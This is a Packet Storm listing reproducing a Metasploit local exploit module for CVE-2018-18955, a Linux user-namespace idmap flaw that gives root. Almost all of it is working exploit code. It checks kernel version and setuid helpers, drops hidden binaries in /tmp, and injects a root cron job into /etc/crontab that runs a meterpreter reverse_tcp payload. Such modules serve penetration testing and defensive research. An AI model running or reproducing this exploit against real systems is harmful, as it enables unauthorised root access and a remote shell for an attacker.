Lucene search

K
packetstormBrendan ColesPACKETSTORM:150489
HistoryNov 28, 2018 - 12:00 a.m.

Linux Nested User Namespace idmap Limit Local Privilege Escalation

2018-11-2800:00:00
Brendan Coles
packetstormsecurity.com
85

0.001 Low

EPSS

Percentile

43.7%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = GreatRanking  
  
include Msf::Post::Linux::Priv  
include Msf::Post::Linux::System  
include Msf::Post::Linux::Kernel  
include Msf::Post::File  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Linux Nested User Namespace idmap Limit Local Privilege Escalation',  
'Description' => %q{  
This module exploits a vulnerability in Linux kernels 4.15.0 to 4.18.18,  
and 4.19.0 to 4.19.1, where broken uid/gid mappings between nested user  
namespaces and kernel uid/gid mappings allow elevation to root  
(CVE-2018-18955).  
  
The target system must have unprivileged user namespaces enabled and  
the newuidmap and newgidmap helpers installed (from uidmap package).  
  
This module has been tested successfully on:  
  
Fedora Workstation 28 kernel 4.16.3-301.fc28.x86_64;  
Kubuntu 18.04 LTS kernel 4.15.0-20-generic (x86_64);  
Linux Mint 19 kernel 4.15.0-20-generic (x86_64);  
Ubuntu Linux 18.04.1 LTS kernel 4.15.0-20-generic (x86_64).  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Jann Horn', # Discovery and exploit  
'bcoles' # Metasploit  
],  
'DisclosureDate' => 'Nov 15 2018',  
'Platform' => ['linux'],  
'Arch' => [ARCH_X86, ARCH_X64],  
'SessionTypes' => ['shell', 'meterpreter'],  
'Targets' => [['Auto', {}]],  
'Privileged' => true,  
'References' =>  
[  
['BID', '105941'],  
['CVE', '2018-18955'],  
['EDB', '45886'],  
['PACKETSTORM', '150381'],  
['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1712'],  
['URL', 'https://github.com/bcoles/kernel-exploits/tree/master/CVE-2018-18955'],  
['URL', 'https://lwn.net/Articles/532593/'],  
['URL', 'https://bugs.launchpad.net/bugs/1801924'],  
['URL', 'https://people.canonical.com/~ubuntu-security/cve/CVE-2018-18955'],  
['URL', 'https://security-tracker.debian.org/tracker/CVE-2018-18955'],  
['URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=d2f007dbe7e4c9583eea6eb04d60001e85c6f1bd'],  
['URL', 'https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.18.19'],  
['URL', 'https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.19.2']  
],  
'DefaultTarget' => 0,  
'DefaultOptions' =>  
{  
'AppendExit' => true,  
'PrependSetresuid' => true,  
'PrependSetreuid' => true,  
'PrependSetuid' => true,  
'PrependFork' => true,  
'WfsDelay' => 60,  
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'  
},  
'Notes' =>  
{  
'AKA' => ['subuid_shell.c']  
}  
))  
register_options [  
OptEnum.new('COMPILE', [true, 'Compile on target', 'Auto', %w[Auto True False]])  
]  
register_advanced_options [  
OptBool.new('ForceExploit', [false, 'Override check result', false]),  
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])  
]  
end  
  
def base_dir  
datastore['WritableDir'].to_s  
end  
  
def upload(path, data)  
print_status "Writing '#{path}' (#{data.size} bytes) ..."  
rm_f path  
write_file path, data  
register_file_for_cleanup path  
end  
  
def upload_and_chmodx(path, data)  
upload path, data  
chmod path  
end  
  
def upload_and_compile(path, data)  
upload "#{path}.c", data  
  
gcc_cmd = "gcc -o #{path} #{path}.c"  
if session.type.eql? 'shell'  
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"  
end  
output = cmd_exec gcc_cmd  
  
unless output.blank?  
print_error output  
fail_with Failure::Unknown, "#{path}.c failed to compile. Set COMPILE False to upload a pre-compiled executable."  
end  
  
register_file_for_cleanup path  
chmod path, 0755  
end  
  
def exploit_data(file)  
::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-18955', file)  
end  
  
def live_compile?  
return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')  
  
if has_gcc?  
vprint_good 'gcc is installed'  
return true  
end  
  
unless datastore['COMPILE'].eql? 'Auto'  
fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'  
end  
end  
  
def check  
unless userns_enabled?  
vprint_error 'Unprivileged user namespaces are not permitted'  
return CheckCode::Safe  
end  
vprint_good 'Unprivileged user namespaces are permitted'  
  
['/usr/bin/newuidmap', '/usr/bin/newgidmap'].each do |path|  
unless setuid? path  
vprint_error "#{path} is not set-uid"  
return CheckCode::Safe  
end  
vprint_good "#{path} is set-uid"  
end  
  
# Patched in 4.18.19 and 4.19.2  
release = kernel_release  
v = Gem::Version.new release.split('-').first  
if v < Gem::Version.new('4.15') ||  
v >= Gem::Version.new('4.19.2') ||  
(v >= Gem::Version.new('4.18.19') && v < Gem::Version.new('4.19'))  
vprint_error "Kernel version #{release} is not vulnerable"  
return CheckCode::Safe  
end  
vprint_good "Kernel version #{release} appears to be vulnerable"  
  
CheckCode::Appears  
end  
  
def on_new_session(session)  
if session.type.to_s.eql? 'meterpreter'  
session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'  
session.sys.process.execute '/bin/sh', "-c \"/bin/sed -i '\$ d' /etc/crontab\""  
else  
session.shell_command("/bin/sed -i '\$ d' /etc/crontab")  
end  
ensure  
super  
end  
  
def exploit  
unless check == CheckCode::Appears  
unless datastore['ForceExploit']  
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'  
end  
print_warning 'Target does not appear to be vulnerable'  
end  
  
if is_root?  
unless datastore['ForceExploit']  
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'  
end  
end  
  
unless writable? base_dir  
fail_with Failure::BadConfig, "#{base_dir} is not writable"  
end  
  
# Upload executables  
subuid_shell_name = ".#{rand_text_alphanumeric 5..10}"  
subuid_shell_path = "#{base_dir}/#{subuid_shell_name}"  
subshell_name = ".#{rand_text_alphanumeric 5..10}"  
subshell_path = "#{base_dir}/#{subshell_name}"  
if live_compile?  
vprint_status 'Live compiling exploit on system...'  
upload_and_compile subuid_shell_path, exploit_data('subuid_shell.c')  
upload_and_compile subshell_path, exploit_data('subshell.c')  
else  
vprint_status 'Dropping pre-compiled exploit on system...'  
upload_and_chmodx subuid_shell_path, exploit_data('subuid_shell.out')  
upload_and_chmodx subshell_path, exploit_data('subshell.out')  
end  
  
# Upload payload executable  
payload_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}"  
upload_and_chmodx payload_path, generate_payload_exe  
  
# Launch exploit  
print_status 'Adding cron job...'  
output = cmd_exec "echo \"echo '* * * * * root #{payload_path}' >> /etc/crontab\" | #{subuid_shell_path} #{subshell_path} "  
output.each_line { |line| vprint_status line.chomp }  
  
crontab = read_file '/etc/crontab'  
unless crontab.include? payload_path  
fail_with Failure::Unknown, 'Failed to add cronjob'  
end  
  
print_good 'Success. Waiting for job to run (may take a minute)...'  
end  
end  
`